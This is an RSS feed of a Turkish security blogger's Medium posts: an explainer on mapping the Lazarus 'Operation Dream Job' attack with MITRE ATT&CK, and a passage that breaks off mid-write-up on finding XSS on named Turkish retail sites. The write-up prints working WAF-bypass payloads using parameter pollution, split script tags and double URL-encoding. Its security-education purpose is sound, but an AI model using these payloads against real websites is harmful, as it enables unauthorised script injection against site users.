<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Burak on Medium]]></title>
        <description><![CDATA[Stories by Burak on Medium]]></description>
        <link>https://medium.com/@burakdemir1?source=rss-b6455f91de94------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*wxphSsY9mfe7JMKfYvaMIQ.jpeg</url>
            <title>Stories by Burak on Medium</title>
            <link>https://medium.com/@burakdemir1?source=rss-b6455f91de94------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 16:50:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@burakdemir1/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[MITRE ATT&CK Nedir, Bir Saldırı Nasıl Haritalandırılır?]]></title>
            <link>https://medium.com/@burakdemir1/mitre-att-ck-nedir-bir-sald%C4%B1r%C4%B1-nas%C4%B1l-haritaland%C4%B1r%C4%B1l%C4%B1r-cf60d14e4068?source=rss-b6455f91de94------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf60d14e4068</guid>
            <category><![CDATA[mitre-attack]]></category>
            <category><![CDATA[mitre]]></category>
            <dc:creator><![CDATA[Burak]]></dc:creator>
            <pubDate>Wed, 10 Dec 2025 12:04:13 GMT</pubDate>
            <atom:updated>2025-12-10T12:10:19.186Z</atom:updated>
            <content:encoded><![CDATA[<p>Herkese merhaba, bugün siber dünyada adını sıkça duyduğumuz MITRE ATT&amp;CK framework’ü hakkında konuşacağız. Bir siber saldırının bu sistem sayesinde nasıl haritalandırıldığına ve bunun nedenine bakacağız.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*fQOoU3iT33ZI3Jtf4SiufQ.png" /></figure><p>Başlamadan önce siber saldırıları haritalandırmaktan kastımızın ne olduğunu belirlememiz iyi olacaktır. Buradaki tabir, bir “<strong>siber saldırı</strong>” olduğunda bunun neden ve nasıl olduğunu adım adım belirlemek ve bunu herkesin anlayacağı bir şekilde rapora dökmek anlamına gelir.</p><p>Daha iyi anlamak için savaşlardan örnek verebiliriz. Bir savaş sırasında size saldıran ülkenin taktiklerini ve tekniklerini bilmek ve bunu düzgünce raporlamak sizi sürekli <strong>bir adım öne taşır</strong>. Rakibinizin bir sonraki adımını tahmin edebilir hale gelirsiniz ve daha o saldırmadan önlem almış olursunuz. Bu, siber saldırılarda da geçerlidir. Güvenlik araştırmacıları saldırganların kullandığı metotları öğrenerek bunlara düzenli önlemler alırlarsa saldırıların önüne geçebilirler.</p><p>Şirketler de, herhangi bir siber saldırı ile karşılaştıklarında bu saldırının <strong>neden ve nasıl</strong> yapıldığını belirlemek isterler. Çünkü bu bilgi ileride oluşacak başka siber saldırılara karşı hangi konularda önlem alınması gerektiğini belirlemek, şirketin zayıf noktalarını tespit etmek ve şirketin güvenliği hakkında bir sonraki adımın ne olması gerektiğine karar vermek için hayati önem taşır.</p><p><strong><em>Ama bu işi nasıl yapacaklar?</em></strong></p><p>Herkes kendi ifadeleriyle “siber saldırı haritası” oluşturursa bu, iletişim sıkıntılarını doğurur.</p><p>Bir şirketiniz olduğunu hayal edin, bir gün size bir siber saldırı yapıldı ve bu saldırıyı analiz etmek için bir siber istihbarat firmasıyla anlaştınız, onlar da kendi yordamlarıyla bu saldırıyı analiz edip size raporladılar. Baktınız raporda şöyle şeyler yazıyor:</p><p><strong><em>Saldırganlar sisteme ilk olarak sinsi yılan taktiği kullanarak sızdı, ondan sonra, tarkan-şımarık tekniği ile bu yılanı deliğinden çıkardılar ve son olarak yapışkan kene yöntemiyle sistemde kalıcılık sağladılar :)</em></strong></p><p>Bundan pek de bir şey anlamazsınız öyle değil mi? O yüzden “<strong>ortak bir dil</strong>” oluşturmak ve raporları herkesin anlaması için bu ortak dilde yazmak ciddi öneme sahiptir.</p><p>Kâr amacı gütmeyen bir organizasyon olan MITRE’nin siber güvenlik dünyasında ‘<strong>ortaklaştırıcı</strong>’ bir etkisi olduğunu söyleyebiliriz. Herkesin kendi yöntemleriyle hareket ettiği bir ortam varsa MITRE hemen düzeni sağlamak için standartları belirleyen bir kuruluş olarak ortaya çıkar. Bunu, diğer bir MITRE ürünü olan CVE (Common Vulnerabilities and Exposures) sisteminde de görebiliriz. Ama konunun dışına çıkmamak için bundan pek bahsetmeyeceğim meraklılar <a href="https://www.balbix.com/insights/what-is-a-cve/">buradaki</a> yazıdan öğrenebilirler.</p><p><strong>MITRE ATT&amp;CK</strong> (MITRE Adversarial Tactics, Techniques, &amp; Common Knowledge) temelde gerçek hayatta yaşanmış neredeyse tüm siber saldırı taktiklerini ve bu taktikleri gerçekleştirmek için kullanılan teknikleri içerisinde barındıran etkileşimli bir veri tabanıdır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wMn823L6eaeZyW_dE3_Vjw.png" /></figure><p>Burada taktikler saldırganın asıl hedefini gösterirken teknikler, saldırganın bu hedefe nasıl ulaşmaya çalıştığını gösterir. Ayrıca MITRE ATT&amp;CK sadece tekniklerin isimlerini değil, ‘Prosedür’ adı verilen kısımda, tekniklerin detaylarını da içerir. Dahası, yeni taktikler geliştikçe hızla güncellenen bir yapıya sahiptir.</p><p>Bir saldırıyı raporlarken bu standart matris üzerinden ilgili teknikleri seçerek haritanızı oluşturursunuz. Bu sayede MITRE’nin oluşturduğu ortak dili kullanmış olursunuz. Raporunuzu inceleyen herhangi bir kişi de bu küresel standarda hakim olduğu için, ne anlatmak istediğinizi doğru bir şekilde anlar.</p><p>Ayrıca MITRE ATT&amp;CK veri tabanında her bir taktiğin ve tekniğin <strong>özel numaraları</strong> vardır. Bu sistem, raporlarda uzun ve karmaşık isimler kullanmak yerine; standart kodlar üzerinden net ve nokta atışı bilgiler verilmesine olanak tanır.</p><p>MITRE ATT&amp;CK’nin sağladığı bir diğer güzel şey ise gerçek hayatta var olan siber saldırı gruplarının kullandığı taktik ve teknikleri göstermesidir. İleride daha detaylı bakacağız ama örnek vermek gerekirse, MITRE ATT&amp;CK framework’ünün içerisinde bir siber saldırı grubu olan APT29 ile eşleşen taktik ve teknikleri görebilirsiniz.</p><p>Peki bunu nasıl yapıyorlar, acaba bu grupların içerisinde saldırgan kılığına girmiş gizli ajanları mı var?</p><p>Tabii ki MITRE ATT&amp;CK’in gizli ajanları yok. :) Dolayısıyla grupların ne yaptığını gizlice takip edemez. Bunun yerine, diğer şirketlerin hazırladığı raporları bir araya getirerek saldırı gruplarına özel profiller oluşturur.</p><p><strong>Örneğin bir raporunda Amazon şöyle yazar:</strong></p><p>Müşterimize yapılan saldırıyı inceledik. Saldırganlar (APT29 grubu), çalışanlara ‘Yıllık İzin Formu’ gibi görünen zararlı bir e-posta göndererek içeri sızdı.”</p><p><strong>Başka bir zaman Microsoft şöyle bir rapor yayınlar:</strong></p><p>Sistemlerimize APT29 grubunun sızdığını tespit ettik. İçeri girdikten sonra izlerini kaybettirmek için sistem loglarını sildiklerini fark ettik.</p><p>MITRE analistleri, bu iki rapora bakar, iki raporda da <strong>ortak olan </strong>APT29 grubu olduğunu fark eder ve APT29 grubunun hem yıllık izin formu taktiğini kullandığı hem de sisteme sızdıktan sonra log dosyalarını sildiği kanısına varır ve bunları MITRE ATT&amp;CK bilgi tabanında APT29 grubu ile ilişkilendirir. Böylece, siz veri tabanında APT29 grubuna baktığınızda kullandığı taktikleri görebilirsiniz. Bu grupların kullandığı tüm taktikleri görmek neredeyse imkansızdır. MITRE, güvendiği ve genelde açık olarak yayınlanan raporlardan ulaştığı bilgilerle bu sonuçlara varır.</p><p>Bu sistem ayrıca şirketlerin Red Team ekiplerine de yardımcı olur. Red Team ekibi bir sonraki saldırı planını ve kullanacağı taktikleri APT29 grubunun taktiklerini kullanarak oluşturabilir ve olası bir APT29 grubu saldırısında sistemin hazır olup olmadığını test edebilir.</p><p>Bir diğer faydalı yönü de sizin gibi siber güvenlik meraklıları içindir. <a href="https://attack.mitre.org/">Burdaki</a> adresten gidip merak ettiğiniz hacker gruplarının hangi taktikleri kullandığını açıklayıcı bir şekilde okuyabilirsiniz. Polisiye roman okumayı sevenlere tavsiye ederim.</p><h3><strong>Saldırının Temeline Odaklanmak</strong></h3><p>MITRE ATT&amp;CK raporlarının kullanılmasındaki bir diğer amaç yapılan bu saldırıların “<strong>temeline</strong>” odaklanmaktır. Aşağıda oldukça popüler olan “<strong>Pyramid of Pain</strong>” grafiğinde de görebileceğiniz gibi saldırganın kullandığı taktikleri ve teknikleri (<strong>TTPs</strong>) anlamak ve engellemek, diğer önlemlerden çok daha fazla saldırganın işini zorlaştırır yani piramide göre “acı verir”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XLOQWxIL4YY5LWfuO0JEXw.png" /><figcaption>David Bianco tarafından oluşturulan tablo</figcaption></figure><p>Böylece bir siber saldırı gerçekleştiğinde, savunma tarafı sadece ‘Hangi virüs kullanıldı?’ gibi yüzeysel sorulara yanıt aramak yerine, saldırganın kendisine odaklanır. Bir saldırgan gibi düşünerek sorunu temelden çözmeyi hedefler.</p><h3>MITRE ATT&amp;CK raporu nasıl oluşturulur</h3><p>MITRE ATT&amp;CK ne olduğundan ve ne için oluşturulduğundan bahsettikten sonra gelelim nasıl rapor oluşturacağımıza. Bunun için gerçekten yaşanmış bir siber saldırı üzerinden gidelim.</p><p>Kuzey Kore devleti destekli bir grup olan <strong>Lazarus</strong>, <a href="https://attack.mitre.org/campaigns/C0022/">Operation Dream Job</a> adında bir siber saldırı düzenleyerek ABD ve Avrupadaki savunma sanayi çalışanlarını hedef almıştı. Saldırganlar öncelikle Linkedin üzerinden tamamen profesyonelce “<strong>işe alım uzmanı</strong>” hesapları oluşturdu. Bunlar, gerçek isimleri ve şirket logolarını içeriyordu. Sonrasında kurbanlarına şöyle mesajlar göndermeye başladılar:</p><blockquote><strong><em>Profiliniz çok etkileyici, Boeing’deki şu pozisyon için tam aradığımız kişisiniz, maaş beklentiniz nedir?</em></strong></blockquote><p>Bu süreç günlerce veya haftalarca sürdü ve böylece kurbanlarının güvenini kazandılar. Sonrasında iş detaylarını belirtmek için bir PDF dosyası gönderdiler. Aslında bu PDF dosyası değildi, bir “EXE” dosyasıydı. Windows varsayılan olarak dosya uzantılarını gizlediğinden, saldırganlar “<strong>çift uzantı</strong>” taktiğini kullanarak dosyayı şu şekilde isimlendiriyorlardı.</p><blockquote><strong><em>is_detaylari.pdf.exe</em></strong></blockquote><p>ancak kurban dosya adını böyle görüyordu:</p><blockquote><strong><em>is_detaylari.pdf</em></strong></blockquote><p>Çünkü burada sistemin çalıştırdığı gerçek uzantı, dosya adının sonunda gizlenmiş olan <strong>.exe</strong>’dir. Bazı versiyonlarında gerçekten de bir PDF dosyası gönderiyorlardı bu sefer de PDF okuyucularındaki bir güvenlik açığını kullanarak komutlar çalıştırıp EXE dosyalarını indirebiliyorlardı.</p><p>Kullanıcı “PDF” dosyasını açtığında ekrana gerçekten de beklediği iş ilanı metni geliyordu. Fakat arkada, bilgisayarın geçici klasörlerine, gizli bir Backdoor yükleniyordu. Bu arka kapı, saldırganın sunucusuna sessizce bağlanıyor ve tespit edilmemek için kendini sistem dosyası gibi gösteriyordu.</p><p>Şimdi bu gerçek hayat örneğini <strong>MITRE ATT&amp;CK navigator</strong> ile rapora dökelim. Bu, tamamen ücretsiz ve web üzerinden kullanabileceğiniz bir araçtır. MITRE ATT&amp;CK ilişkisel veri tabanı aracılığıyla raporlar hazırlamanızı sağlar.</p><p>İlk olarak <a href="https://mitre-attack.github.io/attack-navigator/">https://mitre-attack.github.io/attack-navigator/</a> adresine gidelim.</p><p>Sonrasında “<strong>Crate new layer</strong>” diyerek yen bir sayfa açalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AdserHuVFzTdYPMxmQviIA.png" /></figure><p>Burada karşımıza üç tane matris türü çıkacak.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AAInm39xGanD2NhUOPSx8A.png" /></figure><p>Bunları kısaca açıklayacak olursak:</p><p><strong>Enterprise:</strong> En detaylı ve en çok kullanılan matris çeşididir. Gerçek hayattaki standart örnekleri konu alır.</p><p><strong>Mobile:</strong> Akıllı telefonlar ve tabletler üzerinde yaşanabilecek tehditleri konu alır. Kapsamı enterprise’a göre kısıtlıdır.</p><p><strong>ICS (Industrial Control Systems):</strong> Bu matris çeşidi daha çok fabrikalar, enerji santralleri ve su arıtma tesisleri gibi altyapıları hedefler. Alanı daha çok fiziksel olarak istismar edilebilecek işlemlerdir.</p><p>Bizim örneğimize en yakın Enterprise seçeneği olduğundan onu seçeceğiz. Sonrasında;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OU9M9f44fsh2iykNXlnvsg.png" /></figure><p>Karşınıza böyle korkunç bir sayfa çıkacak ancak endişelenmenize gerek yok birazdan sadece bize lazım olan parçaları seçeceğiz. Hepsini tam olarak görmek için ekranı küçültebilirsiniz.</p><p>Burada tablonun en üstünde taktikler, onun altında sıralanan kutucuklarda ise o taktikler için kullanılan teknikler olduğunu görebilirsiniz. Tablodaki her bir tekniğin detaylı açıklamasını, yani prosedürleri, <a href="https://attack.mitre.org/">buradaki</a> linkten detaylı bir şekilde öğrenebilirsiniz.</p><p>Bu tabloda saldırganın kullandığı teknikleri bulup onları işaretleyeceğiz başka bir deyişle “boyayacağız”.</p><p>Senaryomuzda Lazarus grubu, ilk olarak kurbanlarını seçmek için çeşitli platformları kullanmıştı. Bu yüzden matriste “<strong>Reconnaissance</strong>” taktiğinin altındaki “<strong>Gather victim host information</strong>” veya “<strong>Gather victim identity information</strong>” kutucuklarını seçebiliriz.</p><p>Bu boyamayı yapmak için kutucuğu seçtikten sonra sağda bulunan “T<strong>echnique Controls</strong>” sekmesindeki boya kutusu seçeneği üzerinden renk seçeriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XAa6ViI41LvSeZtGD84OWw.png" /></figure><p>Çeşitli şartlarda bu boyamada kullandığınız renkler de bir anlam ifade edebilir (örneğin renklerin tonları) ancak bu genelde detaylı raporlar için gereklidir o yüzden sevdiğiniz renklerden başlayın :)</p><p>Hepsini seçebilmeniz için şöyle bir tablo hazırladım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p3dylCFnDZEndUPYW_yKLA.png" /></figure><p>Burdaki kodları “<strong>Selection Controls</strong>” kısmındaki arama yerine yazarak kolayca girebilirsiniz.</p><p>Tüm aşamaları boyayınca karşımıza şöyle bir rapor çıkmaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B3O1ft4mzYr6L1gLREsr2Q.png" /></figure><p>Sonrasında bu dosyayı SVG formatında indirebiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OdxV_dp18kxmRnprXJggsA.png" /></figure><p>Tebrikler! Artık elimizde herkesin anlayabileceği, saldırgan gibi düşünmemizi sağlayacak bir rapor var. Bu, şirketinizin güvenliğini arttıracak ve sıradaki adımın ne olması gerektiğine daha doğru ve hızlı karar verebileceksiniz. Bu basit örnek için size boşa uğraş gibi gelebilir ancak örnekler detaylandıkça ve saldırı karmaşıklaşınca bu raporların önemi artacaktır.</p><h4>Peki neden MITRE ATT&amp;CK kullanıyoruz da başka bir framework kullanmıyoruz?</h4><p>Aslında “<strong>Cyber Kill Chain</strong>” gibi başka frameworkler de siber saldırıları kağıda dökmek için kullanılıyor fakat en çok kullanılan framework MITRE ATT&amp;CK’tır bunun iki nedeni var.</p><p><strong>Birincisi </strong>MITRE ATT&amp;CK diğer alternatiflere göre daha detaylı ve kapsamlıdır. Bir saldırıyı haritalandırırken daha fazla detay ekleyebiliriz. Örnek olarak Cyber Kill Chain framework’ünde sadece “saldırgan XYZ yöntemi ile sisteme sızdı” diyorsak burada “saldırgan XYZ taktiği ile ABC tekniğini kullanarak sisteme erişim sağladı” deriz.</p><p><strong>İkincisi </strong>MITRE ATT&amp;CK, teorik saldırılar yerine daha çok gerçek dünyada yaşanmış saldırıların yöntemlerini içerisinde barındırır ve yeni saldırı taktikleri çıktığında hemen güncellenir.</p><p>İşte böyle, bu yazıda MITRE ATT&amp;CK’nın siber güvenlik dünyasında ne amaçlarla kullanıldığı ve neden bu kadar önemli olduğu hakkında konuşmuş olduk.</p><p>Buraya kadar okuduğunuz için Teşekkür ederim. Umarım yeni şeyler öğrenebilmişsinizdir. Ayrıca bu yazının ortaya çıkmasına vesile olan <a href="https://medium.com/u/77c19a3f679a">Sakarya Üniversitesi Siber Güvenlik Topluluğu</a>’na da teşekkür ederim; onların hesabına da linke tıklayıp ulaşabilirsiniz.</p><p>-Burak Demir</p><p><strong><em>Kaynakça</em></strong></p><ul><li><a href="https://www.exclusive-networks.com/tr/wp-content/uploads/sites/32/2020/12/MITRE-ATTCK-InfoBlox-.pdf">https://www.exclusive-networks.com/tr/wp-content/uploads/sites/32/2020/12/MITRE-ATTCK-InfoBlox-.pdf</a></li><li><a href="https://attack.mitre.org/">https://attack.mitre.org/</a></li><li><a href="https://www.ibm.com/think/topics/mitre-attack">https://www.ibm.com/think/topics/mitre-attack</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf60d14e4068" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[6 Farklı şirkette nasıl XSS buldum?]]></title>
            <link>https://medium.com/@burakdemir1/6-farkl%C4%B1-%C5%9Firkette-nas%C4%B1l-xss-buldum-f74cd6c0e59b?source=rss-b6455f91de94------2</link>
            <guid isPermaLink="false">https://medium.com/p/f74cd6c0e59b</guid>
            <category><![CDATA[web-app-security]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Burak]]></dc:creator>
            <pubDate>Sun, 16 Nov 2025 13:09:36 GMT</pubDate>
            <atom:updated>2025-11-16T13:12:55.544Z</atom:updated>
            <content:encoded><![CDATA[<p>Herkese merhaba bu yazımda 2 yıl önce nasıl 6 farklı şirkette <strong>XSS</strong> güvenlik zafiyeti bulduğumu ve bunları nasıl raporlamaya çalıştığımı anlatacağım.</p><p>Yaklaşık iki sene önce tamamen can sıkıntısı ve kendimi geliştirme amacıyla çeşitli sitelerde <strong>XSS</strong> güvenlik zafiyetleri arıyordum, her input alanını deniyor ve çeşitli payloadlar üretiyordum. Bunları da bugbounty programları olmasa bile çeşitli ve özellikle Türkiye’de popüler şirketlerde denemeye karar verdim, eğer bi açık bulursam bu sorunu bildirecektim ve öyle de yaptım.</p><p>Sırasıyla Hepsiburada, LCWaikiki, arçelik, beko, defacto ve bir de ismini veremiyeceğim web sayflarında çeşitli <strong>XSS </strong>güvenlik zafiyetlerini buldum. <strong>(</strong>Bunlara yazının devamında detaylıca bakacağız<strong>)</strong> ve bunları tek tek raporladım. Bu yazının bu kadar gecikmesinin sebebi de bu raporlar. Bir bugbounty programları olmadığından ve genellikle mail yoluyla ulaşmaya çalıştığımdan hiçbir raporuma cevap verilmedi. Tabi mailleri yeteri kadar dikkat çekici yazmamış olabilirim, şuan maillere erişimim olmadığı için bunu bilemiyorum.</p><p>Durum böyle olunca bu açıkların şirket tarafından farkedilip düzeltmelerini beklemem gerekti ve an itibari ile aşağıda belirteceğim açıklar düzeltilmiş durumda ve artık bunlardan bahsedebilirim!</p><h4>Başlangıç</h4><p>İlk olarak <strong>Hepsiburada </strong>ile başlamıştım. Hepsiburada anasayfasında bir search özelliği sunar beninde herkes gibi ilk gözüme burası çarptı ve test etmeye buradan başladım. Her <strong>XSS </strong>denemesi öncesi gibi öncelikle uygulamanın bizden aldığı input’u nasıl kontrol ettiğini ve nasıl ekrana yazdırdığını anlamaya çalıştım. &lt;<strong>script</strong>&gt; gibi etiketleri kontrol ediyordu ve <strong>WAF </strong>tarafından bir mesaj alıyorduk böylelikle zararlı etiketleri browser’a yansıtılmıyordu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b3wsyQYjhykV1G69hNUfKw.png" /></figure><p>Burada <strong>XSS </strong>bypass tekniklerini denemeye başladım. Çeşitli encodingler ve kaçış karakterleri eklemem başarısız oldu, birçok cheet-sheet sayfalarındaki taktikleri denedim ve bunlardan olumlu bir sonuç alamadım. Daha sonra kullanıcı, bir şey aradığında uygulamanın bunu nasıl anlayıp işlediğine baktım. Kullanıcı bir terim arattığında uygulama get üzerinden “<strong>?q</strong>” parametresi ile bunu back-end e gönderiyordu.</p><p>Burda birden fazla “<strong>?q</strong>” parametresi girince ne olduğunu denemek istedim. ilk “<strong>?q</strong>” değerine script taglerini içeren bir test payloadı yazdım. Bu ekrana bir pop-up çıkarmalıydı, ikinci “?<strong>q</strong>” parametresine de tamamen masum bir search terimi örneğin “burak” yazdım.</p><pre>hey&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;&amp;q=burak</pre><p>Bunu gönderdiğimde ekranda <strong>XSS </strong>açığının kanıtı olan bir pop-up belirdi!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_aZGxvdmj1eRCrqhJB9jag.jpeg" /></figure><p>PoC fotoğrafının kusuruna bakmayın :D</p><p>Bunları aramaya başladığımda hiç böyle bir yazı yazma planım olmadığı için düzgün ekran görüntüleri alamadım. Bu fotoğrafları da arkadaşlarıma göndermek için çekmiştim :)</p><p>Burda anlayacağımız şey back-end kontrol tarafında birden fazla “<strong>?q</strong>” parametresi alınca hep en son “<strong>?q</strong>” değerini okuyor ve bunun üzerinde kontrollerini sağlıyordu ama browser tarafında ekrana her zaman <strong>ilk “?q”</strong> değeri, hiçbir encoding ve kontrol olmadan ekrana yazılıyordu çünkü uygulama zaten kontrollerini ikinci “<strong>?q</strong>” değeri üzerinde yapmıştı ve güvenli onayını almıştı.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*arcHwdJNblADbM9iIdeK1A.png" /></figure><p>Bu iki tarafın hangi değeri alacağı arasındaki tutarsızlık saldırganın bu korumayı atlatmasına ve herhangi bir kullanıcının tarayıcısında istediği JavaScript kodlarını çalıştırmasına olanak sağlıyordu.</p><p>Bununla ısındıktan sonra ikinci bulgu olan lcw.com’daki <strong>XSS </strong>açığına geçebiliriz.</p><p>LCWaiki’nin sitesine ilk girdiğimde tekrardan search bar’ı gördüm ve yine ilk iş olarak direkt burdan test etmeye karar verdim. Üşengeçliğin bir belirtisi olsa gerek :D</p><p>Tekrardan başa döndüm ve başlangıç olarak “&gt;&lt;script&gt;alert(1)&lt;/script&gt; gibi en temel payload’ı denedim ve yine WAF tarafından engellendim. encode ve double encode denedim halen bloklanıyorduk sonrasında yine aynı cheet sheet sayflarından ve yine kaçış karakterleriyle denemeler yaptım ve hiçbir şekilde sonuç alamadım halbuki bu sefer geçen seferde başarılı olduğum taktiği bile denemiştim :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*cS5cRrVTD9pSA8vqzxFSwA.png" /></figure><p>Görünüşe göre LC waikiki, hepsiburada dan daha katı kurallara sahipti. Burda WAF’ın isteğimi engellemesinin temel sebebini bulmam lazımdı. WAF, bir <strong>XSS </strong>payloadını anlıyor ve engelliyormuydu, anlıyorsa nasıl anlıyordu, yoksa sadece <strong>&lt; &gt;</strong> gibi karakterleri mi kabul etmiyordu veya <strong>&lt;&gt;</strong> karakterleri arasına birşey yazılınca mı tetiklenmekteydi bunu kararlaştırmak önemliydi. Payload’a <strong>burak&gt;</strong>, <strong>burak&lt; </strong>ve<strong> &lt;burak</strong> gibi değerleri denedim ve yalnızca <strong>&lt;burak</strong> payloadı WAF tarafından engellendi. Bu da demek oluyordu ki WAF spesifik olarak JavaScript taglarini değil direkt olarak <strong>&lt;</strong> karakterinden sonra bir değer gelirse bunu tag açılmış sanıyor ve engelliyordu. Ayrıca “<strong>alert</strong>” gibi bir değerden sonra parantez eklemeyi de engelliyordu, ama bu pek öncemli bir etken değildi çok kolay şekilde farklı altarnetifler denenerek atlatılabilirdi. Daha önceki gibi birden fazla query alanı gönderdiğimde sunucunun, bu değerleri öncekiden ziyade birini seçmek yerine <strong>ikisini de seçip birleştirdiğini fark ettim.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*i_vzPzc70tvURnN4GvpE5w.png" /></figure><p>Gidişatı belki tahmin edebilmişsinizdir. Sunucu;</p><pre>https://www.lcw.com/arama?q=&lt;script</pre><p>gibi bir ifadeyi kabul etmiyordu ama belki,</p><pre>https://www.lcw.com/arama?q=&lt;&amp;q=script</pre><p>gibi bir ifadeyi kabul edebilirdi. Bunun olması için şu durumlar gerçekleşmesi gerekirdi.</p><p>Kontrolu yapan back-end eğer yalnızca ilk <strong>?q</strong> değerini alır ve kontrol ederse, payload kontrolu geçerdi. Yok, yalnızca ikinci değeri alır ve kontrol ederse payload yine kontrolu geçerdi çünkü tek başına “<strong>script</strong>” hiç de şüpheli bir text değildir. Bunların ikisini de ayrı ayrı kontrol ederse yine sistemi atlatırdık. WAF a takılmamızın tek bir yolu vardı ki WAF’ın bu iki değeri alıp <strong>birleştirip</strong> <strong>sonra kontrol sağlamasıydı</strong> böyle bir durumda iki tane “<strong>?q”</strong> değerimiz birden tek bir “<strong>&lt;script</strong>” değerine döner ve sunucunun kuralları gereği bir hata alırdık.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*_JO80NjavORZZzbfuoXKYA.png" /></figure><p>Bizim durumda sunucu her değeri <strong>ayrı ayrı</strong> kontrol ediyordu. Bunu her <strong>?q</strong> değerine de <strong>&lt;script&gt; </strong>ekleyerek test ettim, önce yalnızca birine daha sonra yalnızca ikincisine ekledim. Böylelikle back-end’in davranışını anlayabildim. Bunun sonucunda şöyle bir payload ile bu kontrolü atlatabildim.</p><pre>https://www.lcw.com/arama?q=dotesec&quot;&gt;&lt;&amp;q=script&gt;&amp;q=alert&amp;q=(&#39;DOTESEC&#39;)&lt;/&amp;q=script&gt;</pre><p>Bu payload her bir “<strong>?q”</strong> değerine ayrı ayrı bakılınca kurallara uygun ama her “<strong>?q</strong>” değeri birleştirilince zararlı bir kod parçası orataya çıkmaktadır.</p><p>Birleştirilmiş hali:</p><pre>dotesec&quot;&gt;&lt;script&gt;alert(&#39;DOTESEC&#39;)&lt;/script&gt;</pre><p>Bundan sonra bu payloadı double-encode etmem gerekti. Bunu, gönderdiğim her payloadı bir kere, olmazsa da iki kere encode ederek keşfettim. Bunun nedeni büyük olasılıkla ön taraftaki load-balancer gibi bir servisin değeri, bir kez decode edip sunucuya göndermesi daha sonra da sunucun bir sefer daha decode etmesi olabilirdi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*poQ7XNV3-RbabC9z2LFfqw.png" /></figure><p>Çift encoding işlemini yaptıktan sonra final payload şöyle oldu.</p><pre>%2564%256f%2574%2565%2573%2565%2563%2522%253e%253c&amp;q=%2573%2563%2572%2569%2570%2574%253e&amp;q=%2561%256c%2565%2572%2574&amp;q=%2528%2527%2544%254f%2554%2545%2553%2545%2543%2527%2529%253c%252f&amp;q=%2573%2563%2572%2569%2570%2574%253e</pre><p>İki kez decode edilmiş hali.</p><pre>dotesec&quot;&gt;&lt;&amp;q=script&gt;&amp;q=alert&amp;q=(&#39;DOTESEC&#39;)&lt;/&amp;q=script&gt;</pre><p>Sonunda bütün bu peş peşe atlatma methodlarını birleştirerek oluşturduğum payloadı gönderince <strong>XSS </strong>açığının varlığını kanıtlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QAAqcIx-fVngrTdmX44OxQ.png" /></figure><p>Bunun ardından, diğer bir markaya geçelim. Üçüncü <strong>XSS </strong>zafiyeti içeren şirkete.</p><p>Bu sefer <strong>defacto.com</strong> da aramaya karar verdim ve tabiki bunun da anasayfa arama bölümünden başladım. Diğer ikisinde bulduğum taktikleri kullanarak süreci daha da hızlandıracağımı düşünüyordum fakat defacto diğer sitelere göre biraz daha katıydı. Öncelikle <strong>&lt;</strong> işaretinden sonra <strong>herhangi bir harf koyulmasına izin vermiyordu</strong> ve direkt olarak “<strong>alert()</strong>”, “<strong>script</strong>” gibi ifadeleri kendi başlarına görse dahi bu istekleri engellemekteydi. Ayrıca encoding denemelerimde başarısız olmuştu. script etiketlerini direkt olarak engellediği için başka etiketlerle <strong>XSS </strong>yaratmayı denedim. <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">Bu Linkte</a> neredeyse tüm etiketlerle nasıl <strong>XSS</strong> oluşturmayı deneyebileceğinize dair bir cheet-sheet bulunmakta. Örneğin <strong>&lt;a&gt;</strong> etiketiyle şöyle bir payload deneyebiliriz.</p><pre>&lt;a href=&quot;javascript:alert(1)&quot;&gt;XSS&lt;/a&gt;</pre><p>Ben ilk olarak sadece <strong>&lt;a&gt;</strong> yazdım. Bu, payloadı parça parça denemek içindi ve WAF’ın aslında tam olarak neyi engellediğini görmek için iyi bir yaklaşımdır ki sadece böyle bir inputu bile engelledi bu da demek oluyorki <strong>&lt;</strong> işaretinden sonra herhangi bir değer girmek direkt olarak sistemin engellemesine neden oluyordu. Çoğunu artık hatırlamadığım onlarca farklı atlatma yöntemlerinden sonra şunu farkettim. eğer <strong>&lt;</strong> işaretinden sonra bir pipe 